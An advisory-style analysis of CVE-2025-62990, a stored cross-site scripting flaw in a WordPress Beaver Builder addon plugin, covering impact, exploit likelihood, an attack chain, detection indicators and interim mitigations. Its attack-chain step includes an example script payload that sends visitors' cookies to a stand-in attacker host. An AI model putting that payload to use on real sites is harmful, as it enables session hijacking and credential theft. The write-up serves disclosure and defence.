CVE-2025-62990: 
WordPress vulnerability analysis and mitigation

CVE-2025-62990 is a Stored Cross-Site Scripting (XSS) vulnerability in the Livemesh Addons for Beaver Builder WordPress plugin, affecting all versions up to and including 3.9.2. The vulnerability was reported by researcher Peter Thaleikis on October 13, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE). As of the disclosure date, no official patch was available from the vendor (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into plugin-rendered content, which are then stored and executed in the browsers of other users who visit the affected pages. Exploitation requires user interaction from a privileged user (e.g., an administrator viewing the crafted content), and the scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of visiting users, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader WordPress environment and its users (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.034% (0.000340), indicating a very low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates the priority as Low, noting the issue is unlikely to be exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Livemesh Addons for Beaver Builder plugin at version 3.9.2 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Using the Beaver Builder editor, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within a Livemesh addon widget or module.
4. Publish or save content: Save or publish the page/post containing the injected payload, causing it to be stored in the WordPress database.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the affected page, causing the stored script to execute in their browser and potentially exfiltrating session cookies or performing actions on their behalf (Patchstack).

• Logs: WordPress access logs showing POST requests to page/post editing endpoints by low-privilege accounts (Contributor/Developer) containing unusual script tags or encoded JavaScript in request bodies.
• Database: WordPress wp_posts or wp_postmeta tables containing unexpected <script> tags, javascript: URIs, or encoded payloads within Beaver Builder module content fields.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages built with Livemesh Addons for Beaver Builder, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS, but review plugin configuration files for unauthorized modifications.

As of the disclosure date (December 31, 2025), no official patch from the vendor was available for the Livemesh Addons for Beaver Builder plugin (Patchstack). Site administrators should monitor the WordPress plugin repository for an updated version and apply it as soon as one is released. In the interim, consider restricting Contributor and Developer role permissions, disabling the plugin if not essential, or deploying a web application firewall (WAF) with XSS filtering rules — Patchstack customers received early warning and virtual patching coverage as of December 31, 2025 (Patchstack).

The vulnerability was discovered and responsibly disclosed by independent researcher Peter Thaleikis, who reported it to Patchstack on October 13, 2025, approximately 2.5 months before public disclosure (Patchstack). No significant broader media coverage or notable social media discussion has been identified for this vulnerability beyond standard vulnerability database aggregation.